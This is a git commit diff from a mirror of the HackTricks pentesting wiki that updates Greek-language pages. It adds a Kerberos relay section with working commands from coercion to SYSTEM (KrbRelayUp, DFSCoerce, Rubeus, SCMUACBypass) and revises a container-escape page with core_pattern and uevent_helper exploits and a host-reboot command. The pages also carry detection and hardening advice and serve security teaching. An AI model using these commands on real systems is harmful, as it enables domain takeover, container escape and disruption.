mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/generic-methodologies-and-resources/pentesting-network/
This commit is contained in:
parent
9594123acc
commit
443b4c7daf
@ -316,6 +316,7 @@
|
||||
- [Drozer Tutorial](mobile-pentesting/android-app-pentesting/drozer-tutorial/README.md)
|
||||
- [Exploiting Content Providers](mobile-pentesting/android-app-pentesting/drozer-tutorial/exploiting-content-providers.md)
|
||||
- [Exploiting a debuggeable application](mobile-pentesting/android-app-pentesting/exploiting-a-debuggeable-applciation.md)
|
||||
- [Flutter](mobile-pentesting/android-app-pentesting/flutter.md)
|
||||
- [Frida Tutorial](mobile-pentesting/android-app-pentesting/frida-tutorial/README.md)
|
||||
- [Frida Tutorial 1](mobile-pentesting/android-app-pentesting/frida-tutorial/frida-tutorial-1.md)
|
||||
- [Frida Tutorial 2](mobile-pentesting/android-app-pentesting/frida-tutorial/frida-tutorial-2.md)
|
||||
@ -342,6 +343,7 @@
|
||||
- [iOS Extracting Entitlements From Compiled Application](mobile-pentesting/ios-pentesting/extracting-entitlements-from-compiled-application.md)
|
||||
- [iOS Frida Configuration](mobile-pentesting/ios-pentesting/frida-configuration-in-ios.md)
|
||||
- [iOS Hooking With Objection](mobile-pentesting/ios-pentesting/ios-hooking-with-objection.md)
|
||||
- [iOS Pentesting withuot Jailbreak](mobile-pentesting/ios-pentesting/ios-pentesting-without-jailbreak.md)
|
||||
- [iOS Protocol Handlers](mobile-pentesting/ios-pentesting/ios-protocol-handlers.md)
|
||||
- [iOS Serialisation and Encoding](mobile-pentesting/ios-pentesting/ios-serialisation-and-encoding.md)
|
||||
- [iOS Testing Environment](mobile-pentesting/ios-pentesting/ios-testing-environment.md)
|
||||
|
@ -20,7 +20,7 @@
|
||||
|
||||
### Responder for Protocol Poisoning
|
||||
|
||||
- **Responder** είναι ένα εργαλείο που χρησιμοποιείται για την δηλητηρίαση των ερωτημάτων LLMNR, NBT-NS και mDNS, απαντώντας επιλεκτικά με βάση τους τύπους ερωτημάτων, κυρίως στοχεύοντας σε υπηρεσίες SMB.
|
||||
- **Responder** είναι ένα εργαλείο που χρησιμοποιείται για την δηλητηρίαση ερωτημάτων LLMNR, NBT-NS και mDNS, απαντώντας επιλεκτικά με βάση τους τύπους ερωτημάτων, κυρίως στοχεύοντας υπηρεσίες SMB.
|
||||
- Έρχεται προεγκατεστημένο στο Kali Linux, ρυθμιζόμενο στο `/etc/responder/Responder.conf`.
|
||||
- Το Responder εμφανίζει τις καταγεγραμμένες κατακερματισμένες τιμές στην οθόνη και τις αποθηκεύει στον κατάλογο `/usr/share/responder/logs`.
|
||||
- Υποστηρίζει τόσο IPv4 όσο και IPv6.
|
||||
@ -32,7 +32,7 @@
|
||||
- Για πιο επιθετική αναζήτηση (με πιθανές παρενέργειες): `responder -I <Interface> -P -r -v`
|
||||
- Τεχνικές για την καταγραφή προκλήσεων/απαντήσεων NTLMv1 για ευκολότερη διάσπαση: `responder -I <Interface> --lm --disable-ess`
|
||||
- Η προσποίηση WPAD μπορεί να ενεργοποιηθεί με: `responder -I <Interface> --wpad`
|
||||
- Τα αιτήματα NetBIOS μπορούν να επιλυθούν στη διεύθυνση IP του επιτιθέμενου, και μπορεί να ρυθμιστεί ένας proxy αυθεντικοποίησης: `responder.py -I <interface> -Pv`
|
||||
- Οι αιτήσεις NetBIOS μπορούν να επιλυθούν στη διεύθυνση IP του επιτιθέμενου, και μπορεί να ρυθμιστεί ένας proxy αυθεντικοποίησης: `responder.py -I <interface> -Pv`
|
||||
|
||||
### DHCP Poisoning with Responder
|
||||
|
||||
@ -50,7 +50,7 @@
|
||||
|
||||
## Inveigh
|
||||
|
||||
Το Inveigh είναι ένα εργαλείο για δοκιμαστές διείσδυσης και ομάδες κόκκινων επιθέσεων, σχεδιασμένο για συστήματα Windows. Προσφέρει λειτουργίες παρόμοιες με το Responder, εκτελώντας επιθέσεις spoofing και man-in-the-middle. Το εργαλείο έχει εξελιχθεί από ένα script PowerShell σε ένα δυαδικό αρχείο C#, με [**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) και [**InveighZero**](https://github.com/Kevin-Robertson/InveighZero) ως τις κύριες εκδόσεις. Λεπτομερείς παράμετροι και οδηγίες μπορούν να βρεθούν στο [**wiki**](https://github.com/Kevin-Robertson/Inveigh/wiki/Parameters).
|
||||
Το Inveigh είναι ένα εργαλείο για δοκιμαστές διείσδυσης και ομάδες κόκκινων, σχεδιασμένο για συστήματα Windows. Προσφέρει λειτουργίες παρόμοιες με το Responder, εκτελώντας επιθέσεις spoofing και man-in-the-middle. Το εργαλείο έχει εξελιχθεί από ένα script PowerShell σε ένα δυαδικό αρχείο C#, με [**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) και [**InveighZero**](https://github.com/Kevin-Robertson/InveighZero) ως τις κύριες εκδόσεις. Λεπτομερείς παράμετροι και οδηγίες μπορούν να βρεθούν στο [**wiki**](https://github.com/Kevin-Robertson/Inveigh/wiki/Parameters).
|
||||
|
||||
Το Inveigh μπορεί να λειτουργήσει μέσω PowerShell:
|
||||
```bash
|
||||
@ -93,7 +93,7 @@ beacon> socks stop
|
||||
- **smbrelayx**: Ένα script Python για την αναμετάδοση SMB συνεδριών και την εκτέλεση εντολών ή την ανάπτυξη backdoors.
|
||||
- **MultiRelay**: Ένα εργαλείο από τη σουίτα Responder για την αναμετάδοση συγκεκριμένων χρηστών ή όλων των χρηστών, την εκτέλεση εντολών ή την εξαγωγή hashes.
|
||||
|
||||
Κάθε εργαλείο μπορεί να ρυθμιστεί να λειτουργεί μέσω ενός SOCKS proxy αν είναι απαραίτητο, επιτρέποντας επιθέσεις ακόμη και με έμμεση πρόσβαση στο δίκτυο.
|
||||
Κάθε εργαλείο μπορεί να ρυθμιστεί να λειτουργεί μέσω ενός SOCKS proxy αν χρειαστεί, επιτρέποντας επιθέσεις ακόμη και με έμμεση πρόσβαση στο δίκτυο.
|
||||
|
||||
### Λειτουργία MultiRelay
|
||||
|
||||
@ -109,12 +109,115 @@ python MultiRelay.py -t <IP target> -u ALL -d # Dump hashes
|
||||
|
||||
### Εξαναγκασμός NTLM Συνδέσεων
|
||||
|
||||
Στα Windows, **μπορεί να είστε σε θέση να εξαναγκάσετε ορισμένους προνομιακούς λογαριασμούς να αυθεντικοποιηθούν σε αυθαίρετες μηχανές**. Διαβάστε την παρακάτω σελίδα για να μάθετε πώς:
|
||||
Στα Windows, **μπορεί να είστε σε θέση να εξαναγκάσετε κάποιους προνομιούχους λογαριασμούς να αυθεντικοποιηθούν σε αυθαίρετες μηχανές**. Διαβάστε την παρακάτω σελίδα για να μάθετε πώς:
|
||||
|
||||
{{#ref}}
|
||||
../../windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md
|
||||
{{#endref}}
|
||||
|
||||
## Επίθεση Kerberos Relay
|
||||
|
||||
Μια **επίθεση Kerberos relay** κλέβει ένα **AP-REQ ticket** από μια υπηρεσία και το επαναχρησιμοποιεί σε μια δεύτερη υπηρεσία που μοιράζεται το **ίδιο κλειδί υπολογιστή** (επειδή και οι δύο SPNs βρίσκονται στον ίδιο λογαριασμό μηχανής `$`). Αυτό λειτουργεί ακόμη και αν οι **κατηγορίες υπηρεσιών των SPNs διαφέρουν** (π.χ. `CIFS/` → `LDAP/`) επειδή το *κλειδί* που αποκρυπτογραφεί το εισιτήριο είναι το NT hash της μηχανής, όχι η ίδια η συμβολοσειρά SPN και η συμβολοσειρά SPN δεν είναι μέρος της υπογραφής.
|
||||
|
||||
Σε αντίθεση με το NTLM relay, η μετάβαση περιορίζεται στην *ίδια υποδοχή*, αλλά, αν στοχεύσετε ένα πρωτόκολλο που σας επιτρέπει να γράφετε σε LDAP, μπορείτε να συνδεθείτε σε **Resource-Based Constrained Delegation (RBCD)** ή **AD CS enrollment** και να αποκτήσετε **NT AUTHORITY\SYSTEM** με μία μόνο κίνηση.
|
||||
|
||||
Για λεπτομερείς πληροφορίες σχετικά με αυτή την επίθεση, ελέγξτε:
|
||||
|
||||
- [https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html](https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html)
|
||||
- [https://decoder.cloud/2025/04/24/from-ntlm-relay-to-kerberos-relay-everything-you-need-to-know/](https://decoder.cloud/2025/04/24/from-ntlm-relay-to-kerberos-relay-everything-you-need-to-know/)
|
||||
|
||||
- 1. **Βασικές έννοιες Kerberos**
|
||||
|
||||
| Token | Σκοπός | Σχέση με Relay |
|
||||
|-------|---------|-----------------|
|
||||
| **TGT / AS-REQ ↔ REP** | Αποδεικνύει τον χρήστη στο KDC | ανέγγιχτο |
|
||||
| **Service ticket / TGS-REQ ↔ REP** | Συνδεδεμένο με ένα **SPN**; κρυπτογραφημένο με το κλειδί του κατόχου του SPN | αλληλένδετο αν τα SPNs μοιράζονται λογαριασμό |
|
||||
| **AP-REQ** | Ο πελάτης στέλνει `TGS` στην υπηρεσία | **αυτό που κλέβουμε & επαναχρησιμοποιούμε** |
|
||||
|
||||
* Τα εισιτήρια κρυπτογραφούνται με το **κλειδί που προέρχεται από τον κωδικό πρόσβασης του λογαριασμού που κατέχει το SPN**.
|
||||
* Ο **Authenticator** μέσα στο AP-REQ έχει χρονική σφραγίδα 5 λεπτών; η επαναχρησιμοποίηση μέσα σε αυτό το παράθυρο είναι έγκυρη μέχρι να δει η προσωρινή μνήμη της υπηρεσίας ένα αντίγραφο.
|
||||
* Τα Windows σπάνια ελέγχουν αν η συμβολοσειρά SPN στο εισιτήριο ταιριάζει με την υπηρεσία που χτυπάτε, οπότε ένα εισιτήριο για `CIFS/HOST` συνήθως αποκρυπτογραφείται σωστά σε `LDAP/HOST`.
|
||||
|
||||
- 2. **Τι πρέπει να είναι αληθινό για να γίνει relay Kerberos**
|
||||
|
||||
1. **Κοινό κλειδί:** οι πηγές και οι στόχοι SPNs ανήκουν στον ίδιο λογαριασμό υπολογιστή (προεπιλογή σε Windows servers).
|
||||
2. **Καμία προστασία καναλιού:** SMB/LDAP υπογραφή απενεργοποιημένη και EPA απενεργοποιημένη για HTTP/LDAPS.
|
||||
3. **Μπορείτε να παγιδεύσετε ή να εξαναγκάσετε την αυθεντικοποίηση:** LLMNR/NBNS δηλητηρίαση, DNS spoof, **PetitPotam / DFSCoerce RPC**, ψεύτικο AuthIP, κακόβουλο DCOM, κ.λπ..
|
||||
4. **Η πηγή του εισιτηρίου δεν έχει ήδη χρησιμοποιηθεί:** κερδίζετε τον αγώνα πριν το πραγματικό πακέτο φτάσει ή το αποκλείετε εντελώς; διαφορετικά, η προσωρινή μνήμη επαναχρησιμοποίησης του διακομιστή ενεργοποιεί το Event 4649.
|
||||
5. Πρέπει κάπως να μπορείτε να εκτελέσετε ένα **MitM στην επικοινωνία**, ίσως ανήκοντας στην ομάδα DNSAmins για να τροποποιήσετε το DNS του τομέα ή να μπορείτε να αλλάξετε το αρχείο HOST του θύματος.
|
||||
|
||||
### Βήματα Kerberos Relay
|
||||
|
||||
- 3.1 **Αναγνώριση της υποδοχής**
|
||||
```powershell
|
||||
# find servers where HTTP, LDAP or CIFS share the same machine account
|
||||
Get-ADComputer -Filter * -Properties servicePrincipalName |
|
||||
Where-Object {$_.servicePrincipalName -match '(HTTP|LDAP|CIFS)'} |
|
||||
Select Name,servicePrincipalName
|
||||
```
|
||||
- 3.2 **Ξεκινήστε τον δέκτη αναμετάδοσης**
|
||||
|
||||
[KrbRelayUp](https://github.com/Dec0ne/KrbRelayUp)
|
||||
```powershell
|
||||
# one-click local SYSTEM via RBCD
|
||||
.\KrbRelayUp.exe relay --spn "ldap/DC01.lab.local" --method rbcd --clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8
|
||||
```
|
||||
`KrbRelayUp` περιλαμβάνει **KrbRelay → LDAP → RBCD → Rubeus → SCM bypass** σε ένα εκτελέσιμο αρχείο.
|
||||
|
||||
- 3.3 **Εξαναγκασμός αυθεντικοποίησης Kerberos**
|
||||
```powershell
|
||||
# coerce DC to auth over SMB with DFSCoerce
|
||||
.\dfscoerce.exe --target \\DC01.lab.local --listener 10.0.0.50
|
||||
```
|
||||
DFSCoerce κάνει το DC να μας στείλει ένα Kerberos `CIFS/DC01` εισιτήριο.
|
||||
|
||||
- 3.4 **Μεταφορά του AP-REQ**
|
||||
|
||||
Το KrbRelay εξάγει το GSS blob από το SMB, το επανασυσκευάζει σε μια σύνδεση LDAP και το προωθεί στο `ldap://DC01`—η αυθεντικοποίηση επιτυγχάνεται επειδή το **ίδιο κλειδί** το αποκρυπτογραφεί.
|
||||
|
||||
- 3.5 **Κατάχρηση LDAP ➜ RBCD ➜ SYSTEM**
|
||||
```powershell
|
||||
# (auto inside KrbRelayUp) manual for clarity
|
||||
New-MachineAccount -Name "FAKE01" -Password "P@ss123"
|
||||
KrbRelay.exe -spn ldap/DC01 -rbcd FAKE01_SID
|
||||
Rubeus s4u /user:FAKE01$ /rc4:<hash> /impersonateuser:administrator /msdsspn:HOST/DC01 /ptt
|
||||
SCMUACBypass.exe
|
||||
```
|
||||
You now own **NT AUTHORITY\SYSTEM**.
|
||||
|
||||
### **Περισσότεροι δρόμοι που αξίζει να γνωρίζετε**
|
||||
|
||||
| Vector | Trick | Why it matters |
|
||||
|--------|-------|----------------|
|
||||
| **AuthIP / IPSec** | Ψεύτικος διακομιστής στέλνει ένα **GSS-ID payload** με οποιοδήποτε SPN; ο πελάτης δημιουργεί ένα AP-REQ κατευθείαν σε εσάς | Λειτουργεί ακόμη και σε υποδίκτυα; διαπιστευτήρια μηχανής από προεπιλογή |
|
||||
| **DCOM / MSRPC** | Κακόβουλος OXID resolver αναγκάζει τον πελάτη να αυθεντικοποιηθεί σε αυθαίρετο SPN και θύρα | Καθαρή *τοπική* εκμετάλλευση δικαιωμάτων; παρακάμπτει το τείχος προστασίας |
|
||||
| **AD CS Web Enroll** | Μεταβιβάστε το μηχάνημα εισιτηρίου σε `HTTP/CA` και αποκτήστε ένα πιστοποιητικό, στη συνέχεια **PKINIT** για να δημιουργήσετε TGTs | Παρακάμπτει τις άμυνες υπογραφής LDAP |
|
||||
| **Shadow Credentials** | Γράψτε `msDS-KeyCredentialLink`, στη συνέχεια PKINIT με ψεύτικο ζεύγος κλειδιών | Δεν χρειάζεται να προσθέσετε έναν λογαριασμό υπολογιστή |
|
||||
|
||||
### **Αντιμετώπιση προβλημάτων**
|
||||
|
||||
| Error | Meaning | Fix |
|
||||
|-------|---------|-----|
|
||||
| `KRB_AP_ERR_MODIFIED` | Κλειδί εισιτηρίου ≠ κλειδί στόχου | Λάθος host/SPN |
|
||||
| `KRB_AP_ERR_SKEW` | Ρολόι > 5 λεπτά απόκλιση | Συγχρονίστε την ώρα ή χρησιμοποιήστε `w32tm` |
|
||||
| Αποτυχία σύνδεσης LDAP | Η υπογραφή επιβάλλεται | Χρησιμοποιήστε τη διαδρομή AD CS ή απενεργοποιήστε την υπογραφή |
|
||||
| Spam Event 4649 | Η υπηρεσία είδε διπλό Authenticator | μπλοκάρετε ή αγωνιστείτε το αρχικό πακέτο |
|
||||
|
||||
### **Ανίχνευση**
|
||||
|
||||
* Άνοδος σε **Event 4769** για `CIFS/`, `HTTP/`, `LDAP/` από την ίδια πηγή εντός δευτερολέπτων.
|
||||
* **Event 4649** στην υπηρεσία υποδεικνύει ανίχνευση επανάληψης.
|
||||
* Η σύνδεση Kerberos από **127.0.0.1** (μεταφορά σε τοπικό SCM) είναι εξαιρετικά ύποπτη—χαρτογραφήστε μέσω κανόνα Sigma στα έγγραφα KrbRelayUp.
|
||||
* Παρακολουθήστε τις αλλαγές στα χαρακτηριστικά `msDS-AllowedToActOnBehalfOfOtherIdentity` ή `msDS-KeyCredentialLink`.
|
||||
|
||||
## **Σκληραγώγηση**
|
||||
|
||||
1. **Επιβάλλετε την υπογραφή LDAP & SMB + EPA** σε κάθε διακομιστή.
|
||||
2. **Διαχωρίστε τα SPNs** ώστε το HTTP να μην είναι στον ίδιο λογαριασμό με το CIFS/LDAP.
|
||||
3. Ενημερώστε τα διακυβερνητικά διακυβερνητικά (PetitPotam KB5005413, DFS, AuthIP).
|
||||
4. Ορίστε **`ms-DS-MachineAccountQuota = 0`** για να σταματήσετε τις κακόβουλες προσχωρήσεις υπολογιστών.
|
||||
5. Ειδοποιήστε για **Event 4649** και απροσδόκητες συνδέσεις Kerberos loopback.
|
||||
|
||||
## Αναφορές
|
||||
|
||||
- [https://intrinium.com/smb-relay-attack-tutorial/](https://intrinium.com/smb-relay-attack-tutorial/)
|
||||
|
@ -1,8 +1,8 @@
|
||||
# Ευαίσθητοι Σύνδεσμοι
|
||||
# Ευαίσθητοι Σημειακοί Σύνδεσμοι
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Η έκθεση των `/proc`, `/sys` και `/var` χωρίς κατάλληλη απομόνωση ονομάτων εισάγει σημαντικούς κινδύνους ασφαλείας, συμπεριλαμβανομένης της αύξησης της επιφάνειας επίθεσης και της αποκάλυψης πληροφοριών. Αυτοί οι φάκελοι περιέχουν ευαίσθητα αρχεία που, αν είναι κακώς ρυθμισμένα ή προσπελάζονται από μη εξουσιοδοτημένο χρήστη, μπορούν να οδηγήσουν σε διαφυγή κοντέινερ, τροποποίηση του κεντρικού υπολογιστή ή να παρέχουν πληροφορίες που βοηθούν σε περαιτέρω επιθέσεις. Για παράδειγμα, η λανθασμένη τοποθέτηση του `-v /proc:/host/proc` μπορεί να παρακάμψει την προστασία του AppArmor λόγω της βασισμένης σε διαδρομή φύσης του, αφήνοντας το `/host/proc` απροστάτευτο.
|
||||
Η έκθεση των `/proc`, `/sys` και `/var` χωρίς κατάλληλη απομόνωση ονομάτων εισάγει σημαντικούς κινδύνους ασφαλείας, συμπεριλαμβανομένης της αύξησης της επιφάνειας επίθεσης και της αποκάλυψης πληροφοριών. Αυτοί οι κατάλογοι περιέχουν ευαίσθητα αρχεία που, αν είναι κακώς ρυθμισμένα ή προσπελαστούν από μη εξουσιοδοτημένο χρήστη, μπορούν να οδηγήσουν σε διαφυγή κοντέινερ, τροποποίηση του κεντρικού υπολογιστή ή να παρέχουν πληροφορίες που βοηθούν σε περαιτέρω επιθέσεις. Για παράδειγμα, η λανθασμένη τοποθέτηση `-v /proc:/host/proc` μπορεί να παρακάμψει την προστασία του AppArmor λόγω της βασισμένης σε διαδρομή φύσης της, αφήνοντας το `/host/proc` απροστάτευτο.
|
||||
|
||||
**Μπορείτε να βρείτε περισσότερες λεπτομέρειες για κάθε πιθανή ευπάθεια στο** [**https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts**](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)**.**
|
||||
|
||||
@ -10,25 +10,37 @@
|
||||
|
||||
### `/proc/sys`
|
||||
|
||||
Αυτός ο φάκελος επιτρέπει την πρόσβαση για την τροποποίηση μεταβλητών του πυρήνα, συνήθως μέσω του `sysctl(2)`, και περιέχει αρκετούς υποφακέλους ανησυχίας:
|
||||
Αυτός ο κατάλογος επιτρέπει την πρόσβαση για την τροποποίηση μεταβλητών του πυρήνα, συνήθως μέσω `sysctl(2)`, και περιέχει αρκετούς υποκαταλόγους που προκαλούν ανησυχία:
|
||||
|
||||
#### **`/proc/sys/kernel/core_pattern`**
|
||||
|
||||
- Περιγράφεται στο [core(5)](https://man7.org/linux/man-pages/man5/core.5.html).
|
||||
- Επιτρέπει τον ορισμό ενός προγράμματος που θα εκτελείται κατά την παραγωγή core-file με τα πρώτα 128 bytes ως παραμέτρους. Αυτό μπορεί να οδηγήσει σε εκτέλεση κώδικα αν το αρχείο αρχίζει με μια σωλήνα `|`.
|
||||
- Αν μπορείτε να γράψετε μέσα σε αυτό το αρχείο, είναι δυνατόν να γράψετε έναν σωλήνα `|` ακολουθούμενο από τη διαδρομή προς ένα πρόγραμμα ή σενάριο που θα εκτελείται μετά από μια αποτυχία.
|
||||
- Ένας επιτιθέμενος μπορεί να βρει τη διαδρομή μέσα στον κεντρικό υπολογιστή προς το κοντέινερ του εκτελώντας `mount` και να γράψει τη διαδρομή προς ένα δυαδικό αρχείο μέσα στο σύστημα αρχείων του κοντέινερ του. Στη συνέχεια, να προκαλέσει μια αποτυχία σε ένα πρόγραμμα για να κάνει τον πυρήνα να εκτελέσει το δυαδικό αρχείο έξω από το κοντέινερ.
|
||||
|
||||
- **Παράδειγμα Δοκιμής και Εκμετάλλευσης**:
|
||||
|
||||
```bash
|
||||
[ -w /proc/sys/kernel/core_pattern ] && echo Yes # Δοκιμή πρόσβασης εγγραφής
|
||||
[ -w /proc/sys/kernel/core_pattern ] && echo Yes # Test write access
|
||||
cd /proc/sys/kernel
|
||||
echo "|$overlay/shell.sh" > core_pattern # Ορισμός προσαρμοσμένου χειριστή
|
||||
sleep 5 && ./crash & # Ενεργοποίηση χειριστή
|
||||
echo "|$overlay/shell.sh" > core_pattern # Set custom handler
|
||||
sleep 5 && ./crash & # Trigger handler
|
||||
```
|
||||
Ελέγξτε [αυτή την ανάρτηση](https://pwning.systems/posts/escaping-containers-for-fun/) για περισσότερες πληροφορίες.
|
||||
|
||||
Παράδειγμα προγράμματος που καταρρέει:
|
||||
```c
|
||||
int main(void) {
|
||||
char buf[1];
|
||||
for (int i = 0; i < 100; i++) {
|
||||
buf[i] = 1;
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
#### **`/proc/sys/kernel/modprobe`**
|
||||
|
||||
- Λεπτομέρειες στο [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
|
||||
- Περιέχει τη διαδρομή προς τον φορτωτή μονάδων του πυρήνα, που καλείται για τη φόρτωση μονάδων πυρήνα.
|
||||
- Περιέχει τη διαδρομή προς τον φορτωτή πυρήνα, που καλείται για τη φόρτωση πυρήνων.
|
||||
- **Παράδειγμα Ελέγχου Πρόσβασης**:
|
||||
|
||||
```bash
|
||||
@ -43,7 +55,7 @@ ls -l $(cat /proc/sys/kernel/modprobe) # Έλεγχος πρόσβασης στ
|
||||
#### **`/proc/sys/fs`**
|
||||
|
||||
- Σύμφωνα με το [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html), περιέχει επιλογές και πληροφορίες σχετικά με το σύστημα αρχείων.
|
||||
- Η πρόσβαση εγγραφής μπορεί να επιτρέψει διάφορες επιθέσεις άρνησης υπηρεσίας κατά του κεντρικού υπολογιστή.
|
||||
- Η πρόσβαση εγγραφής μπορεί να επιτρέψει διάφορες επιθέσεις άρνησης υπηρεσίας κατά του host.
|
||||
|
||||
#### **`/proc/sys/fs/binfmt_misc`**
|
||||
|
||||
@ -51,7 +63,7 @@ ls -l $(cat /proc/sys/kernel/modprobe) # Έλεγχος πρόσβασης στ
|
||||
- Μπορεί να οδηγήσει σε κλιμάκωση προνομίων ή πρόσβαση σε root shell αν το `/proc/sys/fs/binfmt_misc/register` είναι εγγράψιμο.
|
||||
- Σχετική εκμετάλλευση και εξήγηση:
|
||||
- [Poor man's rootkit via binfmt_misc](https://github.com/toffan/binfmt_misc)
|
||||
- Σε βάθος οδηγός: [Video link](https://www.youtube.com/watch?v=WBC7hhgMvQQ)
|
||||
- Αναλυτικός οδηγός: [Video link](https://www.youtube.com/watch?v=WBC7hhgMvQQ)
|
||||
|
||||
### Άλλα στο `/proc`
|
||||
|
||||
@ -62,11 +74,11 @@ ls -l $(cat /proc/sys/kernel/modprobe) # Έλεγχος πρόσβασης στ
|
||||
|
||||
#### **`/proc/sysrq-trigger`**
|
||||
|
||||
- Επιτρέπει την εκτέλεση εντολών Sysrq, προκαλώντας πιθανώς άμεσες επανεκκινήσεις του συστήματος ή άλλες κρίσιμες ενέργειες.
|
||||
- **Παράδειγμα Επανεκκίνησης Κεντρικού Υπολογιστή**:
|
||||
- Επιτρέπει την εκτέλεση εντολών Sysrq, προκαλώντας πιθανώς άμεσες επανεκκινήσεις συστήματος ή άλλες κρίσιμες ενέργειες.
|
||||
- **Παράδειγμα Επανεκκίνησης Host**:
|
||||
|
||||
```bash
|
||||
echo b > /proc/sysrq-trigger # Επανεκκινεί τον κεντρικό υπολογιστή
|
||||
echo b > /proc/sysrq-trigger # Επανεκκινεί τον host
|
||||
```
|
||||
|
||||
#### **`/proc/kmsg`**
|
||||
@ -83,20 +95,20 @@ echo b > /proc/sysrq-trigger # Επανεκκινεί τον κεντρικό υ
|
||||
|
||||
#### **`/proc/[pid]/mem`**
|
||||
|
||||
- Διασυνδέεται με τη συσκευή μνήμης του πυρήνα `/dev/mem`.
|
||||
- Διασυνδέεται με τη συσκευή μνήμης πυρήνα `/dev/mem`.
|
||||
- Ιστορικά ευάλωτο σε επιθέσεις κλιμάκωσης προνομίων.
|
||||
- Περισσότερα στο [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
|
||||
|
||||
#### **`/proc/kcore`**
|
||||
|
||||
- Αντιπροσωπεύει τη φυσική μνήμη του συστήματος σε μορφή ELF core.
|
||||
- Η ανάγνωση μπορεί να διαρρεύσει περιεχόμενα μνήμης του κεντρικού υπολογιστή και άλλων κοντέινερ.
|
||||
- Μεγάλο μέγεθος αρχείου μπορεί να οδηγήσει σε προβλήματα ανάγνωσης ή καταρρεύσεις λογισμικού.
|
||||
- Η ανάγνωση μπορεί να διαρρεύσει περιεχόμενα μνήμης του host και άλλων κοντέινερ.
|
||||
- Μεγάλο μέγεθος αρχείου μπορεί να οδηγήσει σε προβλήματα ανάγνωσης ή κρασάρισμα λογισμικού.
|
||||
- Λεπτομερής χρήση στο [Dumping /proc/kcore in 2019](https://schlafwandler.github.io/posts/dumping-/proc/kcore/).
|
||||
|
||||
#### **`/proc/kmem`**
|
||||
|
||||
- Εναλλακτική διεπαφή για το `/dev/kmem`, που αντιπροσωπεύει την εικονική μνήμη του πυρήνα.
|
||||
- Εναλλακτική διεπαφή για το `/dev/kmem`, που αντιπροσωπεύει τη εικονική μνήμη του πυρήνα.
|
||||
- Επιτρέπει την ανάγνωση και εγγραφή, επομένως άμεση τροποποίηση της μνήμης του πυρήνα.
|
||||
|
||||
#### **`/proc/mem`**
|
||||
@ -106,15 +118,15 @@ echo b > /proc/sysrq-trigger # Επανεκκινεί τον κεντρικό υ
|
||||
|
||||
#### **`/proc/sched_debug`**
|
||||
|
||||
- Επιστρέφει πληροφορίες προγραμματισμού διεργασιών, παρακάμπτοντας τις προστασίες ονομάτων PID.
|
||||
- Επιστρέφει πληροφορίες προγραμματισμού διεργασιών, παρακάμπτοντας τις προστασίες του PID namespace.
|
||||
- Εκθέτει ονόματα διεργασιών, IDs και αναγνωριστικά cgroup.
|
||||
|
||||
#### **`/proc/[pid]/mountinfo`**
|
||||
|
||||
- Παρέχει πληροφορίες σχετικά με τα σημεία σύνδεσης στο namespace σύνδεσης της διεργασίας.
|
||||
- Εκθέτει τη θέση του `rootfs` ή της εικόνας του κοντέινερ.
|
||||
- Παρέχει πληροφορίες σχετικά με τα σημεία προσάρτησης στο namespace προσάρτησης της διεργασίας.
|
||||
- Εκθέτει την τοποθεσία του `rootfs` ή της εικόνας του κοντέινερ.
|
||||
|
||||
### Ευπάθειες `/sys`
|
||||
### Ευπάθειες στο `/sys`
|
||||
|
||||
#### **`/sys/kernel/uevent_helper`**
|
||||
|
||||
@ -126,11 +138,11 @@ echo b > /proc/sysrq-trigger # Επανεκκινεί τον κεντρικό υ
|
||||
|
||||
echo "#!/bin/sh" > /evil-helper echo "ps > /output" >> /evil-helper chmod +x /evil-helper
|
||||
|
||||
#### Βρίσκει τη διαδρομή του κεντρικού υπολογιστή από το OverlayFS mount για το κοντέινερ
|
||||
#### Βρίσκει τη διαδρομή του host από την προσάρτηση OverlayFS για το κοντέινερ
|
||||
|
||||
host*path=$(sed -n 's/.*\perdir=(\[^,]\_).\*/\1/p' /etc/mtab)
|
||||
|
||||
#### Ορίζει το uevent_helper σε κακόβουλο βοηθό
|
||||
#### Ρυθμίζει το uevent_helper σε κακόβουλο βοηθό
|
||||
|
||||
echo "$host_path/evil-helper" > /sys/kernel/uevent_helper
|
||||
|
||||
@ -152,29 +164,29 @@ cat /output %%%
|
||||
|
||||
#### **`/sys/kernel/security`**
|
||||
|
||||
- Στεγάζει τη διεπαφή `securityfs`, επιτρέποντας τη διαμόρφωση των Linux Security Modules όπως το AppArmor.
|
||||
- Περιέχει τη διεπαφή `securityfs`, επιτρέποντας τη διαμόρφωση των Linux Security Modules όπως το AppArmor.
|
||||
- Η πρόσβαση μπορεί να επιτρέψει σε ένα κοντέινερ να απενεργοποιήσει το σύστημα MAC του.
|
||||
|
||||
#### **`/sys/firmware/efi/vars` και `/sys/firmware/efi/efivars`**
|
||||
|
||||
- Εκθέτει διεπαφές για την αλληλεπίδραση με τις μεταβλητές EFI στο NVRAM.
|
||||
- Κακή ρύθμιση ή εκμετάλλευση μπορεί να οδηγήσει σε κατεστραμμένα laptops ή μηχανές κεντρικού υπολογιστή που δεν εκκινούν.
|
||||
- Εκθέτει διεπαφές για αλληλεπίδραση με μεταβλητές EFI στο NVRAM.
|
||||
- Λανθασμένη διαμόρφωση ή εκμετάλλευση μπορεί να οδηγήσει σε κατεστραμμένα laptops ή μηχανές host που δεν εκκινούν.
|
||||
|
||||
#### **`/sys/kernel/debug`**
|
||||
|
||||
- Το `debugfs` προσφέρει μια διεπαφή αποσφαλμάτωσης "χωρίς κανόνες" στον πυρήνα.
|
||||
- Ιστορικό προβλημάτων ασφαλείας λόγω της απεριόριστης φύσης του.
|
||||
|
||||
### Ευπάθειες `/var`
|
||||
### Ευπάθειες στο `/var`
|
||||
|
||||
